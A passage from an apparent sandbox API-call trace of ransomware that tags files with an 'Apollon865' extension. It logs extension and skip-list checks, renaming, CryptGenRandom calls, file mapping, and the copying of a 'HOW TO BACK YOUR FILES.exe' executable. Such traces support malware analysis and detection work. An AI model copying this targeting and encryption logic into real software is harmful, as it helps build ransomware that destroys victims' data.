	[0077.883] lstrcmpiW (lpString1="log", lpString2="gwi") returned 1
	[0077.883] lstrlenW (lpString="hdb") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="hdb") returned 1
	[0077.883] lstrlenW (lpString="his") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="his") returned 1
	[0077.883] lstrlenW (lpString="ib") returned 2
	[0077.883] lstrcmpiW (lpString1="og", lpString2="ib") returned 1
	[0077.883] lstrlenW (lpString="idb") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="idb") returned 1
	[0077.883] lstrlenW (lpString="ihx") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="ihx") returned 1
	[0077.883] lstrlenW (lpString="itdb") returned 4
	[0077.883] lstrcmpiW (lpString1=".log", lpString2="itdb") returned -1
	[0077.883] lstrlenW (lpString="itw") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="itw") returned 1
	[0077.883] lstrlenW (lpString="jet") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="jet") returned 1
	[0077.883] lstrlenW (lpString="jtx") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="jtx") returned 1
	[0077.883] lstrlenW (lpString="kdb") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="kdb") returned 1
	[0077.883] lstrlenW (lpString="kexi") returned 4
	[0077.883] lstrcmpiW (lpString1=".log", lpString2="kexi") returned -1
	[0077.883] lstrlenW (lpString="kexic") returned 5
	[0077.883] lstrcmpiW (lpString1="l.log", lpString2="kexic") returned 1
	[0077.884] lstrlenW (lpString="kexis") returned 5
	[0077.884] lstrcmpiW (lpString1="l.log", lpString2="kexis") returned 1
	[0077.884] lstrlenW (lpString="lgc") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="lgc") returned 1
	[0077.884] lstrlenW (lpString="lwx") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="lwx") returned -1
	[0077.884] lstrlenW (lpString="maf") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="maf") returned -1
	[0077.884] lstrlenW (lpString="maq") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="maq") returned -1
	[0077.884] lstrlenW (lpString="mar") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="mar") returned -1
	[0077.884] lstrlenW (lpString="marshal") returned 7
	[0077.884] lstrcmpiW (lpString1="all.log", lpString2="marshal") returned -1
	[0077.884] lstrlenW (lpString="mas") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="mas") returned -1
	[0077.884] lstrlenW (lpString="mav") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="mav") returned -1
	[0077.884] lstrlenW (lpString="maw") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="maw") returned -1
	[0077.884] lstrlenW (lpString="mdbhtml") returned 7
	[0077.884] lstrcmpiW (lpString1="all.log", lpString2="mdbhtml") returned -1
	[0077.884] lstrlenW (lpString="mdn") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="mdn") returned -1
	[0077.884] lstrlenW (lpString="mdt") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="mdt") returned -1
	[0077.884] lstrlenW (lpString="mfd") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="mfd") returned -1
	[0077.884] lstrlenW (lpString="mpd") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="mpd") returned -1
	[0077.884] lstrlenW (lpString="mrg") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="mrg") returned -1
	[0077.884] lstrlenW (lpString="mud") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="mud") returned -1
	[0077.884] lstrlenW (lpString="mwb") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="mwb") returned -1
	[0077.884] lstrlenW (lpString="myd") returned 3
	[0077.884] lstrcmpiW (lpString1="log", lpString2="myd") returned -1
	[0077.885] lstrlenW (lpString="ndf") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="ndf") returned -1
	[0077.885] lstrlenW (lpString="nnt") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="nnt") returned -1
	[0077.885] lstrlenW (lpString="nrmlib") returned 6
	[0077.885] lstrcmpiW (lpString1="ll.log", lpString2="nrmlib") returned -1
	[0077.885] lstrlenW (lpString="ns2") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="ns2") returned -1
	[0077.885] lstrlenW (lpString="ns3") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="ns3") returned -1
	[0077.885] lstrlenW (lpString="ns4") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="ns4") returned -1
	[0077.885] lstrlenW (lpString="nsf") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="nsf") returned -1
	[0077.885] lstrlenW (lpString="nv") returned 2
	[0077.885] lstrcmpiW (lpString1="og", lpString2="nv") returned 1
	[0077.885] lstrlenW (lpString="nv2") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="nv2") returned -1
	[0077.885] lstrlenW (lpString="nwdb") returned 4
	[0077.885] lstrcmpiW (lpString1=".log", lpString2="nwdb") returned -1
	[0077.885] lstrlenW (lpString="nyf") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="nyf") returned -1
	[0077.885] lstrlenW (lpString="odb") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="odb") returned -1
	[0077.885] lstrlenW (lpString="odb") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="odb") returned -1
	[0077.885] lstrlenW (lpString="oqy") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="oqy") returned -1
	[0077.885] lstrlenW (lpString="ora") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="ora") returned -1
	[0077.885] lstrlenW (lpString="orx") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="orx") returned -1
	[0077.885] lstrlenW (lpString="owc") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="owc") returned -1
	[0077.885] lstrlenW (lpString="p96") returned 3
	[0077.885] lstrcmpiW (lpString1="log", lpString2="p96") returned -1
	[0077.885] lstrlenW (lpString="p97") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="p97") returned -1
	[0077.886] lstrlenW (lpString="pan") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="pan") returned -1
	[0077.886] lstrlenW (lpString="pdb") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="pdb") returned -1
	[0077.886] lstrlenW (lpString="pdm") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="pdm") returned -1
	[0077.886] lstrlenW (lpString="pnz") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="pnz") returned -1
	[0077.886] lstrlenW (lpString="qry") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="qry") returned -1
	[0077.886] lstrlenW (lpString="qvd") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="qvd") returned -1
	[0077.886] lstrlenW (lpString="rbf") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="rbf") returned -1
	[0077.886] lstrlenW (lpString="rctd") returned 4
	[0077.886] lstrcmpiW (lpString1=".log", lpString2="rctd") returned -1
	[0077.886] lstrlenW (lpString="rod") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="rod") returned -1
	[0077.886] lstrlenW (lpString="rodx") returned 4
	[0077.886] lstrcmpiW (lpString1=".log", lpString2="rodx") returned -1
	[0077.886] lstrlenW (lpString="rpd") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="rpd") returned -1
	[0077.886] lstrlenW (lpString="rsd") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="rsd") returned -1
	[0077.886] lstrlenW (lpString="sas7bdat") returned 8
	[0077.886] lstrcmpiW (lpString1="tall.log", lpString2="sas7bdat") returned 1
	[0077.886] lstrlenW (lpString="sbf") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="sbf") returned -1
	[0077.886] lstrlenW (lpString="scx") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="scx") returned -1
	[0077.886] lstrlenW (lpString="sdb") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="sdb") returned -1
	[0077.886] lstrlenW (lpString="sdc") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="sdc") returned -1
	[0077.886] lstrlenW (lpString="sdf") returned 3
	[0077.886] lstrcmpiW (lpString1="log", lpString2="sdf") returned -1
	[0077.887] lstrlenW (lpString="sis") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="sis") returned -1
	[0077.887] lstrlenW (lpString="spq") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="spq") returned -1
	[0077.887] lstrlenW (lpString="te") returned 2
	[0077.887] lstrcmpiW (lpString1="og", lpString2="te") returned -1
	[0077.887] lstrlenW (lpString="teacher") returned 7
	[0077.887] lstrcmpiW (lpString1="all.log", lpString2="teacher") returned -1
	[0077.887] lstrlenW (lpString="tmd") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="tmd") returned -1
	[0077.887] lstrlenW (lpString="tps") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="tps") returned -1
	[0077.887] lstrlenW (lpString="trc") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="trc") returned -1
	[0077.887] lstrlenW (lpString="trc") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="trc") returned -1
	[0077.887] lstrlenW (lpString="trm") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="trm") returned -1
	[0077.887] lstrlenW (lpString="udb") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="udb") returned -1
	[0077.887] lstrlenW (lpString="udl") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="udl") returned -1
	[0077.887] lstrlenW (lpString="usr") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="usr") returned -1
	[0077.887] lstrlenW (lpString="v12") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="v12") returned -1
	[0077.887] lstrlenW (lpString="vis") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="vis") returned -1
	[0077.887] lstrlenW (lpString="vpd") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="vpd") returned -1
	[0077.887] lstrlenW (lpString="vvv") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="vvv") returned -1
	[0077.887] lstrlenW (lpString="wdb") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="wdb") returned -1
	[0077.887] lstrlenW (lpString="wmdb") returned 4
	[0077.887] lstrcmpiW (lpString1=".log", lpString2="wmdb") returned -1
	[0077.887] lstrlenW (lpString="wrk") returned 3
	[0077.887] lstrcmpiW (lpString1="log", lpString2="wrk") returned -1
	[0077.887] lstrlenW (lpString="xdb") returned 3
	[0077.888] lstrcmpiW (lpString1="log", lpString2="xdb") returned -1
	[0077.888] lstrlenW (lpString="xld") returned 3
	[0077.888] lstrcmpiW (lpString1="log", lpString2="xld") returned -1
	[0077.888] lstrlenW (lpString="xmlff") returned 5
	[0077.888] lstrcmpiW (lpString1="l.log", lpString2="xmlff") returned -1
	[0077.888] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log.Apollon865") returned 73
	[0077.888] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\users\\all users\\mozilla\\logs\\maintenanceservice-install.log"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log.Apollon865" (normalized: "c:\\users\\all users\\mozilla\\logs\\maintenanceservice-install.log.apollon865"), dwFlags=0x1) returned 1
	[0077.901] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log.Apollon865" (normalized: "c:\\users\\all users\\mozilla\\logs\\maintenanceservice-install.log.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0077.901] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=164) returned 1
	[0077.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0077.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfc50
	[0077.975] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfcd8) returned 1
	[0077.977] CryptGenRandom (in: hProv=0x5bfcd8, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0077.977] CryptReleaseContext (hProv=0x5bfcd8, dwFlags=0x0) returned 1
	[0077.991] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0xd8
	[0078.076] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000
	[0078.078] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0078.079] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.079] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.080] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.080] CloseHandle (hObject=0xd8) returned 1
	[0078.080] CloseHandle (hObject=0x15c) returned 1
	[0078.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0078.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.080] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 0
	[0078.080] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0078.081] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a50
	[0078.081] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft Help", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help"
	[0078.081] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf78 | out: hHeap=0x580000) returned 1
	[0078.081] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0078.081] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help") returned 33
	[0078.081] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft Help" | out: lpString1="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help"
	[0078.081] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.081] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0078.082] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0078.082] GetLastError () returned 0x0
	[0078.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0078.082] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0078.082] CloseHandle (hObject=0x150) returned 1
	[0078.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0078.082] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.082] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.083] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.083] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.083] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.083] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.083] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.083] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.083] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.083] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.083] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f6f71f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.083] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.083] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hx.hxn", cAlternateFileName="")) returned 1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2=".") returned 1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="..") returned 1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="windows") returned -1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="bootmgr") returned 1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="temp") returned -1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="pagefile.sys") returned -1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="boot") returned 1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="ids.txt") returned -1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="ntuser.dat") returned -1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="perflogs") returned -1
	[0078.083] lstrcmpiW (lpString1="Hx.hxn", lpString2="MSBuild") returned -1
	[0078.084] lstrlenW (lpString="Hx.hxn") returned 6
	[0078.084] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\*") returned 35
	[0078.084] lstrcpyW (in: lpString1=0x119e64c, lpString2="Hx.hxn" | out: lpString1="Hx.hxn") returned="Hx.hxn"
	[0078.084] lstrlenW (lpString="Hx.hxn") returned 6
	[0078.084] lstrlenW (lpString="Apollon865") returned 10
	[0078.084] lstrlenW (lpString=".dll") returned 4
	[0078.084] lstrcmpiW (lpString1="Hx.hxn", lpString2=".dll") returned 1
	[0078.084] lstrlenW (lpString=".lnk") returned 4
	[0078.084] lstrcmpiW (lpString1="Hx.hxn", lpString2=".lnk") returned 1
	[0078.084] lstrlenW (lpString=".ini") returned 4
	[0078.084] lstrcmpiW (lpString1="Hx.hxn", lpString2=".ini") returned 1
	[0078.084] lstrlenW (lpString=".sys") returned 4
	[0078.084] lstrcmpiW (lpString1="Hx.hxn", lpString2=".sys") returned 1
	[0078.084] lstrlenW (lpString="Hx.hxn") returned 6
	[0078.084] lstrlenW (lpString="bak") returned 3
	[0078.084] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.084] lstrlenW (lpString="ba_") returned 3
	[0078.084] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.084] lstrlenW (lpString="dbb") returned 3
	[0078.084] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.084] lstrlenW (lpString="vmdk") returned 4
	[0078.084] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.084] lstrlenW (lpString="rar") returned 3
	[0078.084] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.084] lstrlenW (lpString="zip") returned 3
	[0078.084] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.084] lstrlenW (lpString="tgz") returned 3
	[0078.084] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.084] lstrlenW (lpString="vbox") returned 4
	[0078.084] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.084] lstrlenW (lpString="vdi") returned 3
	[0078.084] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.084] lstrlenW (lpString="vhd") returned 3
	[0078.084] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.084] lstrlenW (lpString="vhdx") returned 4
	[0078.084] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.084] lstrlenW (lpString="avhd") returned 4
	[0078.085] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.085] lstrlenW (lpString="db") returned 2
	[0078.085] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.085] lstrlenW (lpString="db2") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.085] lstrlenW (lpString="db3") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.085] lstrlenW (lpString="dbf") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.085] lstrlenW (lpString="mdf") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.085] lstrlenW (lpString="mdb") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.085] lstrlenW (lpString="sql") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.085] lstrlenW (lpString="sqlite") returned 6
	[0078.085] lstrlenW (lpString="sqlite3") returned 7
	[0078.085] lstrlenW (lpString="sqlitedb") returned 8
	[0078.085] lstrlenW (lpString="xml") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.085] lstrlenW (lpString="$er") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.085] lstrlenW (lpString="4dd") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.085] lstrlenW (lpString="4dl") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.085] lstrlenW (lpString="^^^") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.085] lstrlenW (lpString="abs") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.085] lstrlenW (lpString="abx") returned 3
	[0078.085] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.085] lstrlenW (lpString="accdb") returned 5
	[0078.085] lstrcmpiW (lpString1="x.hxn", lpString2="accdb") returned 1
	[0078.085] lstrlenW (lpString="accdc") returned 5
	[0078.085] lstrcmpiW (lpString1="x.hxn", lpString2="accdc") returned 1
	[0078.085] lstrlenW (lpString="accde") returned 5
	[0078.085] lstrcmpiW (lpString1="x.hxn", lpString2="accde") returned 1
	[0078.086] lstrlenW (lpString="accdr") returned 5
	[0078.086] lstrcmpiW (lpString1="x.hxn", lpString2="accdr") returned 1
	[0078.086] lstrlenW (lpString="accdt") returned 5
	[0078.086] lstrcmpiW (lpString1="x.hxn", lpString2="accdt") returned 1
	[0078.086] lstrlenW (lpString="accdw") returned 5
	[0078.086] lstrcmpiW (lpString1="x.hxn", lpString2="accdw") returned 1
	[0078.086] lstrlenW (lpString="accft") returned 5
	[0078.086] lstrcmpiW (lpString1="x.hxn", lpString2="accft") returned 1
	[0078.086] lstrlenW (lpString="adb") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.086] lstrlenW (lpString="adb") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.086] lstrlenW (lpString="ade") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.086] lstrlenW (lpString="adf") returned 3
